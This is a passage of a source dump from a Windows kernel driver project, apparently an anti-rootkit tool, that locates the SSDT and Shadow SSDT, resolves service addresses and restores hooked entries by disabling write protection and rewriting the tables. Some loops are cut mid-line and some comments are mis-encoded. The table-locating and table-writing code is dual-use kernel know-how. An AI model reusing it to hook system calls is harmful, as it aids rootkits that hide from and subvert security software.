version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#elif defined _M_X64\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#else\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#endif\r\n#endif\r\n\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h ߰汾Ŀ Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"EnumSSSDTManager\", \"EnumSSSDTManager\\EnumSSSDTManager.vcxproj\", \"{410AA387-C177-4012-8441-B3508905A32E}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{410AA387-C177-4012-8441-B3508905A32E}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/GetService.c", "content": "#include \"GetService.h\"\r\n\r\nPVOID GetKeShadowServiceDescriptorTable64()\r\n{\r\n\tPUCHAR StartAddress = (PUCHAR)__readmsr(0xC0000082);\r\n\tPUCHAR i = NULL;\r\n\tUCHAR v1=0,v2=0,v3=0;\r\n\tint iOffset = 0;\r\n\tULONG_PTR SSSDTDescriptor = 0;\r\n\tfor(i=StartAddress;i u fffff800`03ed7640 l 100\r\n\t\t\t\tnt!KiSystemCall64:\r\n\t\t\t\tfffff800`03ed7640 0f01f8 swapgs\r\n\t\t\t\tfffff800`03ed7643 654889242510000000 mov qword ptr gs:[10h],rsp\r\n\t\t\t\r\n\t\r\n\t\t\t\tnt!KiSystemServiceRepeat:\r\n\t\t\t\tfffff800`03ed7772 4c8d15c7202300 lea r10,[nt!KeServiceDescriptorTable (fffff800`04109840)]\r\n\t\t\t\tfffff800`03ed7779 4c8d1d00212300 lea r11,[nt!KeServiceDescriptorTableShadow (fffff800`04109880)\r\n\t\t\t\t*/\r\n\t\t\t\tSSSDTDescriptor+=32;\r\n\t\t\t\treturn (PVOID)SSSDTDescriptor;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nPVOID GetKeShadowServiceDescriptorTable32()\r\n{\r\n\tWCHAR wzKeAddSystemServiceTable[] = L\"KeAddSystemServiceTable\";\r\n\tULONG_PTR SSSDTDescriptor = 0;\r\n\tPUCHAR i = 0;\r\n\tPUCHAR StartAddress;\r\n\tUCHAR v1=0,v2=0;\r\n\t/*\r\n\tkd> u KeAddSystemServiceTable l 50\r\n\tnt!KeAddSystemServiceTable:\r\n\t805b3ff1 8bff mov edi,edi\r\n\t805b3ff3 55 push ebp\r\n\t805b3ff4 8bec mov ebp,esp\r\n\t805b3ff6 837d1803 cmp dword ptr [ebp+18h],3\r\n\t805b3ffa 774e ja nt!KeAddSystemServiceTable+0x6b (805b404a)\r\n\t805b3ffc 8b4518 mov eax,dword ptr [ebp+18h]\r\n\t805b3fff c1e004 shl eax,4\r\n\t805b4002 83b82035568000 cmp dword ptr nt!KeServiceDescriptorTable (80563520)[eax],0\r\n\t805b4009 753f jne nt!KeAddSystemServiceTable+0x6b (805b404a)\r\n\t805b400b 8d88e0345680 lea ecx,nt!KeServiceDescriptorTableShadow (805634e0)[eax]\r\n\t*/\r\n\tStartAddress = (PUCHAR)GetFunctionAddressByNameFromNtosExport(wzKeAddSystemServiceTable);\r\n\tif (StartAddress==NULL)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tfor(i=StartAddress;i 0)\r\n\t{\r\n\t\tRtlInitUnicodeString(&uniFunctionName, wzFunctionName); \r\n\t\tFunctionAddress = MmGetSystemRoutineAddress(&uniFunctionName); \r\n\t}\r\n\r\n\treturn FunctionAddress;\r\n}\r\n\r\n\r\n\r\n\r\n\r\nPVOID GetKeServiceDescriptorTable64()\r\n{\r\n\tPUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082);\r\n\tPUCHAR EndSearchAddress = StartSearchAddress + 0x500;\r\n\tPUCHAR i = NULL;\r\n\tUCHAR b1=0,b2=0,b3=0;\r\n\tULONG_PTR ulv1 = 0;\r\n\tPVOID FunctionAddress = 0;\r\n\tfor(i=StartSearchAddress;iServiceTableBase);\r\n\tulv2 = ServiceTableBase + 4 * ulIndex;\r\n\tulv1 = *(PLONG)ulv2;\r\n\tulv1 = ulv1>>4;\r\n\treturn (PVOID)(ServiceTableBase + (ULONG_PTR)ulv1);\r\n}\r\n\r\nPVOID GetSSDTFunctionAddress32(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor)\r\n{\r\n\tULONG_PTR ServiceTableBase= 0 ;\r\n\tPSYSTEM_SERVICE_TABLE32 SSDT = (PSYSTEM_SERVICE_TABLE32)SSDTDescriptor;\r\n\r\n\tServiceTableBase=(ULONG)(SSDT ->ServiceTableBase);\r\n\r\n\treturn (PVOID)(*(PULONG_PTR)(ServiceTableBase + 4 * ulIndex));\r\n}\r\n\r\n/**/\r\nBOOLEAN GetSysModuleByLdrDataTableSSDT(WCHAR* wzModuleName)\r\n{\r\n\tBOOLEAN bRet = FALSE;\r\n\tif (CurrentDriverObject)\r\n\t{\r\n\t\tPLDR_DATA_TABLE_ENTRY ListHead = NULL, ListNext = NULL;\r\n\r\n\t\tListHead = ListNext = (PLDR_DATA_TABLE_ENTRY)CurrentDriverObject->DriverSection; //dt _DriverObject\r\n\t\twhile((PLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink != ListHead)\r\n\t\t{\r\n\t\t\t//DbgPrint(\"%wZ\\r\\n\",&ListNext->BaseDllName);\r\n\t\t\tif (ListNext->BaseDllName.Buffer&& \t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\twcsstr((WCHAR*)(ListNext->BaseDllName.Buffer),wzModuleName)!=NULL)\r\n\t\t\t{\r\n\t\t\t\tSysSSDTModuleBase = (PVOID)(ListNext->DllBase);\r\n\t\t\t\tulSSDTSysModuleSize = ListNext->SizeOfImage;\r\n\r\n\t\t\t\t//DbgPrint(\"%x %x\\r\\n\",ListNext->DllBase,ListNext->EntryPoint);\r\n\t\t\t\t//\tDbgPrint(\"ModuleNameSecondGet:%wZ\\r\\n\",&(ListNext->FullDllName));\r\n\r\n\t\t\t\tbRet = TRUE;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tListNext = (PLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink;\r\n\t\t}\r\n\t}\r\n\treturn bRet;\r\n}\r\n\r\n/*DriverObject->DriverSection бвҵǰַģ*/\r\nNTSTATUS GetSysModuleByLdrDataTable2(PVOID Address,WCHAR* wzModuleName)\r\n{\r\n\tBOOLEAN bRet = FALSE;\r\n\tULONG_PTR ulBase;\r\n\tULONG ulSize;\r\n\r\n\tif (CurrentDriverObject)\r\n\t{\r\n\t\tPKLDR_DATA_TABLE_ENTRY ListHead = NULL, ListNext = NULL;\r\n\r\n\t\tListHead = ListNext = (PKLDR_DATA_TABLE_ENTRY)CurrentDriverObject->DriverSection; //dt _DriverObject\r\n\t\twhile((PKLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink != ListHead)\r\n\t\t{\r\n\t\t\tulBase = (ListNext)->DllBase;\r\n\t\t\tulSize = (ListNext)->SizeOfImage;\r\n\t\t\tif(ulBase!=0)\r\n\t\t\t{\r\n\t\t\t\tif((ULONG_PTR)Address>ulBase && (ULONG_PTR)Address < ulSize + ulBase)\r\n\t\t\t\t{\r\n\t\t\t\t\t__try\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tDbgPrint(\"%wZ\\r\\n\",&ListNext->BaseDllName);\r\n\t\t\t\t\t\tDbgPrint(\"%wZ\\r\\n\",&(ListNext->FullDllName));\r\n\r\n\t\t\t\t\t\tmemcpy(wzModuleName,(WCHAR*)(((ListNext)->FullDllName).Buffer),sizeof(WCHAR)*60);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tDbgPrint(\"EXCEEPTION:%d\",GetExceptionCode());\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tbRet = TRUE;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t} \r\n\t\t\t}\r\n\t\t\tListNext = (PKLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink;\r\n\t\t}\r\n\t}\r\n\treturn bRet;\r\n\t/*\r\n\tint i = 0;\r\n\tNTSTATUS Status = STATUS_SUCCESS;\r\n\tPVOID Buffer = NULL;\r\n\tULONG ulNeeds = 0;\r\n\r\n\tStatus = ZwQuerySystemInformation(SystemModuleInformation,NULL,0,&ulNeeds);\r\n\r\n\tif (Status!=STATUS_INFO_LENGTH_MISMATCH)\r\n\t{\r\n\t\treturn FALSE;\r\n\t}\r\n\tBuffer = ExAllocatePool(PagedPool,ulNeeds); \r\n\r\n\tif (Buffer==NULL)\r\n\t{\r\n\t\treturn FALSE;\r\n\t}\r\n\tStatus = ZwQuerySystemInformation(SystemModuleInformation,Buffer,ulNeeds,&ulNeeds);\r\n\r\n\tif (!NT_SUCCESS(Status))\r\n\t{\r\n\t\tExFreePool(Buffer);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tfor (i=0;i<((PRTL_PROCESS_MODULES)Buffer)->NumberOfModules;i++)\r\n\t{\r\n\r\n\t\tif (Address>((PRTL_PROCESS_MODULES)Buffer)->Modules[i].ImageBase&&Address<(PVOID)((ULONG_PTR)((PRTL_PROCESS_MODULES)Buffer)->Modules[i].ImageBase\r\n\t\t\t+(ULONG_PTR)((PRTL_PROCESS_MODULES)Buffer)->Modules[i].ImageSize))\r\n\t\t{\r\n\t\t\t//BaseAddress = ((PRTL_PROCESS_MODULES)Buffer)->Modules[i].ImageBase;\r\n\t\t\t//ulModuleSize = ((PRTL_PROCESS_MODULES)Buffer)->Modules[i].ImageSize;\r\n\r\n\t\t\t__try\r\n\t\t\t{\r\n\t\t\t//\twcscpy(wzModuleName,((PRTL_PROCESS_MODULES)Buffer)->Modules[i].FullPathName);\r\n\t\t\t//\tmemcpy(wzModuleName,((PRTL_PROCESS_MODULES)Buffer)->Modules[i].FullPathName,sizeof(WCHAR)*60);\r\n\t\t\t}\r\n\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t{\r\n\t\t\t\tDbgPrint(\"EXCEEPTION:%d\",GetExceptionCode());\r\n\t\t\t}\r\n\r\n\t\t\treturn TRUE;\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\r\n\tExFreePool(Buffer);\r\n\r\n\treturn FALSE;*/\r\n}\r\n\r\nVOID UnHookSSDT(ULONG ulIndex, ULONG_PTR OriginalFunctionAddress)\r\n{\r\n#ifdef _WIN64\r\n\tULONG_PTR v2 = 0;\r\n\tULONG_PTR ServiceTableBase = 0 ;\r\n\tULONG CurrentFunctionOffsetOfSSDT = 0;\r\n\tPSYSTEM_SERVICE_TABLE64 SSDT = (PSYSTEM_SERVICE_TABLE64)SSDTDescriptor;\r\n\tServiceTableBase=(ULONG_PTR)(SSDT ->ServiceTableBase);\r\n\tCurrentFunctionOffsetOfSSDT = (ULONG)((ULONG_PTR)OriginalFunctionAddress - (ULONG_PTR)(SSDT->ServiceTableBase));\r\n\tCurrentFunctionOffsetOfSSDT = CurrentFunctionOffsetOfSSDT<<4;\r\n\r\n\tv2 = ServiceTableBase + 4 * ulIndex;\r\n\tWPOFF();\r\n\t*(PLONG)v2 = CurrentFunctionOffsetOfSSDT;\r\n\tWPON();\r\n#else\r\n\tULONG_PTR ServiceTableBase = 0 ;\r\n\tULONG_PTR v2 = 0;\r\n\tPSYSTEM_SERVICE_TABLE32 SSDT = (PSYSTEM_SERVICE_TABLE32)SSDTDescriptor;\r\n\tServiceTableBase=(ULONG_PTR)(SSDT->ServiceTableBase);\r\n\r\n\tv2 = ServiceTableBase + 4 * ulIndex;\r\n\tWPOFF();\r\n\t*(PLONG)v2 = (ULONG)OriginalFunctionAddress;\r\n\tWPON();\r\n#endif\r\n\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\nBOOLEAN ResumeSSDTInlineHook(ULONG ulIndex,UCHAR* szOriginalFunctionCode)\r\n{\r\n\tPVOID CurrentFunctionAddress = NULL;\r\n#ifdef _WIN64\r\n\tCurrentFunctionAddress = GetSSDTFunctionAddress64(ulIndex,SSDTDescriptor);\r\n#else\r\n\tCurrentFunctionAddress = GetSSDTFunctionAddress32(ulIndex,SSDTDescriptor);\r\n#endif\r\n\r\n\tWPOFF();\r\n\tSafeCopyMemory(CurrentFunctionAddress,szOriginalFunctionCode,CODE_LENGTH); \r\n\tWPON();\r\n\r\n\treturn TRUE;\r\n}" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSDT.h", "content": "#pragma once\r\n#include \"SSSDTManager.h\"\r\n#include \"common.h\"\r\n\r\nPVOID GetKeServiceDescriptorTable64();\r\n\r\nPVOID GetSSDTFunctionAddress64(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor);\r\nPVOID GetSSDTFunctionAddress32(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor);\r\n\r\nBOOLEAN GetSysModuleByLdrDataTableSSDT(WCHAR* wzModuleName);\r\nNTSTATUS GetSysModuleByLdrDataTable2(PVOID Address,WCHAR* wzModuleName);\r\n\r\nVOID UnHookSSDT(ULONG ulIndex, ULONG_PTR OriginalFunctionAddress);\r\n\r\nBOOLEAN ResumeSSDTInlineHook(ULONG ulIndex,UCHAR* szOriginalFunctionCode);\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS {\r\n\tSystemBasicInformation,\r\n\tSystemProcessorInformation, \r\n\tSystemPerformanceInformation,\r\n\tSystemTimeOfDayInformation,\r\n\tSystemPathInformation,\r\n\tSystemProcessInformation,\r\n\tSystemCallCountInformation,\r\n\tSystemDeviceInformation,\r\n\tSystemProcessorPerformanceInformation,\r\n\tSystemFlagsInformation,\r\n\tSystemCallTimeInformation,\r\n\tSystemModuleInformation,\r\n\tSystemLocksInformation,\r\n\tSystemStackTraceInformation,\r\n\tSystemPagedPoolInformation,\r\n\tSystemNonPagedPoolInformation,\r\n\tSystemHandleInformation,\r\n\tSystemObjectInformation,\r\n\tSystemPageFileInformation,\r\n\tSystemVdmInstemulInformation,\r\n\tSystemVdmBopInformation,\r\n\tSystemFileCacheInformation,\r\n\tSystemPoolTagInformation,\r\n\tSystemInterruptInformation,\r\n\tSystemDpcBehaviorInformation,\r\n\tSystemFullMemoryInformation,\r\n\tSystemLoadGdiDriverInformation,\r\n\tSystemUnloadGdiDriverInformation,\r\n\tSystemTimeAdjustmentInformation,\r\n\tSystemSummaryMemoryInformation,\r\n\tSystemMirrorMemoryInformation,\r\n\tSystemPerformanceTraceInformation,\r\n\tSystemObsolete0,\r\n\tSystemExceptionInformation,\r\n\tSystemCrashDumpStateInformation,\r\n\tSystemKernelDebuggerInformation,\r\n\tSystemContextSwitchInformation,\r\n\tSystemRegistryQuotaInformation,\r\n\tSystemExtendServiceTableInformation,\r\n\tSystemPrioritySeperation,\r\n\tSystemVerifierAddDriverInformation,\r\n\tSystemVerifierRemoveDriverInformation,\r\n\tSystemProcessorIdleInformation,\r\n\tSystemLegacyDriverInformation,\r\n\tSystemCurrentTimeZoneInformation,\r\n\tSystemLookasideInformation,\r\n\tSystemTimeSlipNotification,\r\n\tSystemSessionCreate,\r\n\tSystemSessionDetach,\r\n\tSystemSessionInformation,\r\n\tSystemRangeStartInformation,\r\n\tSystemVerifierInformation,\r\n\tSystemVerifierThunkExtend,\r\n\tSystemSessionProcessInformation,\r\n\tSystemLoadGdiDriverInSystemSpace,\r\n\tSystemNumaProcessorMap,\r\n\tSystemPrefetcherInformation,\r\n\tSystemExtendedProcessInformation,\r\n\tSystemRecommendedSharedDataAlignment,\r\n\tSystemComPlusPackage,\r\n\tSystemNumaAvailableMemory,\r\n\tSystemProcessorPowerInformation,\r\n\tSystemEmulationBasicInformation,\r\n\tSystemEmulationProcessorInformation,\r\n\tSystemExtendedHandleInformation,\r\n\tSystemLostDelayedWriteInformation,\r\n\tSystemBigPoolInformation,\r\n\tSystemSessionPoolTagInformation,\r\n\tSystemSessionMappedViewInformation,\r\n\tSystemHotpatchInformation,\r\n\tSystemObjectSecurityMode,\r\n\tSystemWatchdogTimerHandler,\r\n\tSystemWatchdogTimerInformation,\r\n\tSystemLogicalProcessorInformation,\r\n\tSystemWow64SharedInformation,\r\n\tSystemRegisterFirmwareTableInformationHandler,\r\n\tSystemFirmwareTableInformation,\r\n\tSystemModuleInformationEx,\r\n\tSystemVerifierTriageInformation,\r\n\tSystemSuperfetchInformation,\r\n\tSystemMemoryListInformation,\r\n\tSystemFileCacheInformationEx,\r\n\tMaxSystemInfoClass \r\n} SYSTEM_INFORMATION_CLASS;\r\n\r\n//ϵͳģб\r\nextern\r\n\tNTSTATUS \r\n\tZwQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, \r\n\tOUT PVOID SystemInformation, \r\n\tIN ULONG SystemInformationLength, \r\n\tOUT PULONG ReturnLength OPTIONAL);\r\n\r\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION {\r\n\tHANDLE Section; \r\n\tPVOID MappedBase;\r\n\tPVOID ImageBase;\r\n\tULONG ImageSize;\r\n\tULONG Flags;\r\n\tUSHORT LoadOrderIndex;\r\n\tUSHORT InitOrderIndex;\r\n\tUSHORT LoadCount;\r\n\tUSHORT OffsetToFileName;\r\n\tUCHAR FullPathName[ 256 ];\r\n} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;\r\n\r\ntypedef struct _RTL_PROCESS_MODULES {\r\n\tULONG NumberOfModules;\r\n\tRTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];\r\n} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDT.c", "content": "#include \"SSSDT.h\"\r\n\r\nextern ULONG_PTR SSSDTDescriptor;\r\n\r\nextern PDRIVER_OBJECT CurrentDriverObject;\r\nextern PVOID SysModuleBsse;\r\nextern ULONG_PTR ulSysModuleSize;\r\n\r\n//SSSDTַ*4+SSSDT һ4λúƫơSSSDTõ Ӧַ\r\nPVOID GetSSSDTFunctionAddress64(ULONG ulIndex)\r\n{\r\n\tLONG v1 = 0;\r\n\tULONG_PTR v2 = 0;\r\n\tULONG_PTR ServiceTableBase= 0 ;\r\n\tPSYSTEM_SERVICE_TABLE64 SSSDT = (PSYSTEM_SERVICE_TABLE64)SSSDTDescriptor;\r\n\tServiceTableBase=(ULONG_PTR)(SSSDT ->ServiceTableBase);\r\n\tv2 = ServiceTableBase + 4 * ulIndex;\r\n\tv1 = *(PLONG)v2;\r\n\tv1 = v1>>4;\r\n\treturn (PVOID)(ServiceTableBase + (ULONG_PTR)v1);\r\n}\r\n\r\n//SSSDTַ+4*IndexSSSDTӦĺַ\r\nPVOID GetSSSDTFunctionAddress32(ULONG ulIndex)\r\n{\r\n\tULONG_PTR ServiceTableBase= 0 ;\r\n\tPSYSTEM_SERVICE_TABLE32 SSSDT = (PSYSTEM_SERVICE_TABLE32)SSSDTDescriptor;\r\n\tServiceTableBase = (ULONG_PTR)(SSSDT->ServiceTableBase);\r\n\treturn (PVOID)(*(PULONG_PTR)((ULONG_PTR)ServiceTableBase + 4 * ulIndex));\r\n}\r\n\r\n//Ring3ģDriverObject->DriverSectionṹ Ƚϣ һ򷵻ַ\r\nBOOLEAN GetSysModuleByLdrDataTable(WCHAR* wzModuleName)\r\n{\r\n\tBOOLEAN bRet = FALSE;\r\n\tif (CurrentDriverObject)\r\n\t{\r\n\t\tPKLDR_DATA_TABLE_ENTRY ListHead = NULL, ListNext = NULL;\r\n\r\n\t\tListHead = ListNext = (PKLDR_DATA_TABLE_ENTRY)CurrentDriverObject->DriverSection; //dt _DriverObject\r\n\t\twhile((PKLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink != ListHead)\r\n\t\t{\r\n\t\t\t//DbgPrint(\"%wZ\\r\\n\",&ListNext->BaseDllName);\r\n\t\t\tif (ListNext->BaseDllName.Buffer&& \t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\twcsstr((WCHAR*)(ListNext->BaseDllName.Buffer),wzModuleName)!=NULL)\r\n\t\t\t{\r\n\t\t\t\tSysModuleBsse = (PVOID)(ListNext->DllBase);\r\n\t\t\t\tulSysModuleSize = ListNext->SizeOfImage;\r\n\r\n\t\t\t\t//DbgPrint(\"%x %x\\r\\n\",ListNext->DllBase,ListNext->EntryPoint);\r\n\t\t\t\t//\tDbgPrint(\"ModuleNameSecondGet:%wZ\\r\\n\",&(ListNext->FullDllName));\r\n\r\n\t\t\t\tbRet = TRUE;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tListNext = (PKLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink;\r\n\t\t}\r\n\t}\r\n\treturn bRet;\r\n}\r\n\r\n//DriverObject->DriverSectionṹвҺģ\r\nBOOLEAN GetSysModuleByLdrDataTable1(PVOID Address,WCHAR* wzModuleName)\r\n{\r\n\tBOOLEAN bRet = FALSE;\r\n\tULONG_PTR ulBase;\r\n\tULONG ulSize;\r\n\r\n\tif (CurrentDriverObject)\r\n\t{\r\n\t\tPKLDR_DATA_TABLE_ENTRY ListHead = NULL, ListNext = NULL;\r\n\r\n\t\tListHead = ListNext = (PKLDR_DATA_TABLE_ENTRY)CurrentDriverObject->DriverSection; //dt _DriverObject\r\n\t\twhile((PKLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink != ListHead)\r\n\t\t{\r\n\t\t\tulBase = (ListNext)->DllBase;\r\n\t\t\tulSize = (ListNext)->SizeOfImage;\r\n\t\t\tif((ULONG_PTR)Address > ulBase && (ULONG_PTR)Address < ulSize+ulBase)\r\n\t\t\t{\r\n\t\t\t\tmemcpy(wzModuleName,(WCHAR*)(((ListNext)->FullDllName).Buffer),sizeof(WCHAR)*60);\r\n\t\t\t\tbRet = TRUE;\r\n\t\t\t\tbreak;\r\n\t\t\t} \r\n\t\t\tListNext = (PKLDR_DATA_TABLE_ENTRY)ListNext->InLoadOrderLinks.Flink;\r\n\t\t}\r\n\t}\r\n\treturn bRet;\r\n}\r\n\r\nVOID UnHookSSSDTWin7(ULONG ulIndex, ULONG_PTR OriginalFunctionAddress)\r\n{\r\n\tULONG_PTR v2 = 0;\r\n\tULONG_PTR ServiceTableBase = 0 ;\r\n\tULONG CurrentFunctionOffsetOfSSSDT = 0;\r\n\tPSYSTEM_SERVICE_TABLE64 SSSDT = (PSYSTEM_SERVICE_TABLE64)SSSDTDescriptor;\r\n\tServiceTableBase=(ULONG_PTR)(SSSDT ->ServiceTableBase);\r\n\tCurrentFunctionOffsetOfSSSDT = (ULONG)((ULONG_PTR)OriginalFunctionAddress - (ULONG_PTR)(SSSDT->ServiceTableBase));\r\n\tCurrentFunctionOffsetOfSSSDT = CurrentFunctionOffsetOfSSSDT<<4;\r\n\r\n\tv2 = ServiceTableBase + 4 * ulIndex;\r\n\tWPOFF();\r\n\t*(PLONG)v2 = CurrentFunctionOffsetOfSSSDT;\r\n\tWPON();\r\n}\r\n\r\nVOID UnHookSSSDTWinXP(ULONG ulIndex, ULONG_PTR OriginalFunctionAddress)\r\n{\r\n\tULONG_PTR ServiceTableBase = 0 ;\r\n\tULONG_PTR v2 = 0;\r\n\tPSYSTEM_SERVICE_TABLE32 SSSDT = (PSYSTEM_SERVICE_TABLE32)SSSDTDescriptor;\r\n\tServiceTableBase=(ULONG_PTR)(SSSDT->ServiceTableBase);\r\n\r\n\tv2 = ServiceTableBase + 4 * ulIndex;\r\n\tWPOFF();\r\n\t*(PLONG)v2 = (ULONG)OriginalFunctionAddress;\r\n\tWPON();\r\n}\r\n\r\nBOOLEAN ResumeSSSDTInlineHook(ULONG ulIndex,UCHAR* szOriginalFunctionCode)\r\n{\r\n\tPVOID CurrentFunctionAddress = NULL;\r\n#ifdef _WIN64\r\n\tCurrentFunctionAddress = GetSSSDTFunctionAddress64(ulIndex);\r\n#else\r\n\tCurrentFunctionAddress = GetSSSDTFunctionAddress32(ulIndex);\r\n#endif\r\n\r\n\tWPOFF();\r\n\tSafeCopyMemory(CurrentFunctionAddress,szOriginalFunctionCode,CODE_LENGTH); \r\n\t//memcpy(CurrentFunctionAddress,szOriginalFunctionCode,CODE_LENGTH);\r\n\tWPON();\r\n\r\n\treturn TRUE;\r\n}" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDT.h", "content": "#pragma once\r\n#include \"SSSDTManager.h\"\r\n#include \"common.h\"\r\n\r\nPVOID GetKeShadowServiceDescriptorTable32();\r\nPVOID GetKeShadowServiceDescriptorTable64();\r\n\r\nPVOID GetSSSDTFunctionAddress64(ULONG ulIndex);\r\nPVOID GetSSSDTFunctionAddress32(ULONG ulIndex);\r\n\r\nBOOLEAN GetSysModuleByLdrDataTable(WCHAR* wzModuleName);\r\nBOOLEAN GetSysModuleByLdrDataTable1(PVOID Address,WCHAR* wzModuleName);\r\n\r\nVOID UnHookSSSDTWin7(ULONG ulIndex, ULONG_PTR OriginalFunctionAddress);\r\nVOID UnHookSSSDTWinXP(ULONG ulIndex, ULONG_PTR OriginalFunctionAddress);\r\n\r\nBOOLEAN ResumeSSSDTInlineHook(ULONG ulIndex,UCHAR* szOriginalFunctionCode);" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDTManager.c", "content": "#ifndef CXX_SSSDTMANAGER_H\r\n#\tinclude \"SSSDTManager.h\"\r\n#include \"common.h\"\r\n#include \"GetService.h\"\r\n#include \"SSDT.h\"\r\n#include \"SSSDT.h\"\r\n#endif\r\n\r\nKIRQL Irql;\r\nWIN_VERSION WinVersion = WINDOWS_UNKNOW;\r\n\r\nULONG_PTR SSDTDescriptor = 0;\r\nULONG_PTR SSSDTDescriptor = 0;\r\n\r\nPDRIVER_OBJECT CurrentDriverObject = NULL;\r\nPVOID SysModuleBsse = NULL;\r\nULONG_PTR ulSysModuleSize = 0;\r\n\r\nPVOID SysSSDTModuleBase = NULL;\r\nULONG_PTR ulSSDTSysModuleSize = 0;\r\nNTSTATUS\r\nDriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryString)\r\n{\r\n\tNTSTATUS\t\tStatus = STATUS_SUCCESS;\r\n\tULONG\t\t\t i;\r\n\tUNICODE_STRING\t uniDeviceName;\r\n\tUNICODE_STRING\t uniLinkName;\r\n\tPDEVICE_OBJECT\t DeviceObject;\r\n\tRtlInitUnicodeString(&uniDeviceName,DEVICE_NAME);\r\n\tRtlInitUnicodeString(&uniLinkName,LINK_NAME);\r\n\r\n\t//豸;\r\n\tStatus = IoCreateDevice(DriverObject,0,&uniDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject);\r\n\tif (!NT_SUCCESS(Status))\r\n\t{\r\n\t\treturn Status;\r\n\t}\r\n\r\n\t//;\r\n\tStatus = IoCreateSymbolicLink(&uniLinkName,&uniDeviceName);\r\n\r\n\tif (!NT_SUCCESS(Status))\r\n\t{\r\n\t\tIoDeleteDevice(DeviceObject);\r\n\t\treturn Status;\r\n\t}\r\n\r\n\tfor (i = 0; iMajorFunction[i] = DefaultPassThrough;\r\n\t}\r\n\tDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlPassThrough;\r\n\tDriverObject->DriverUnload = UnloadDriver;\r\n\r\n\tCurrentDriverObject = 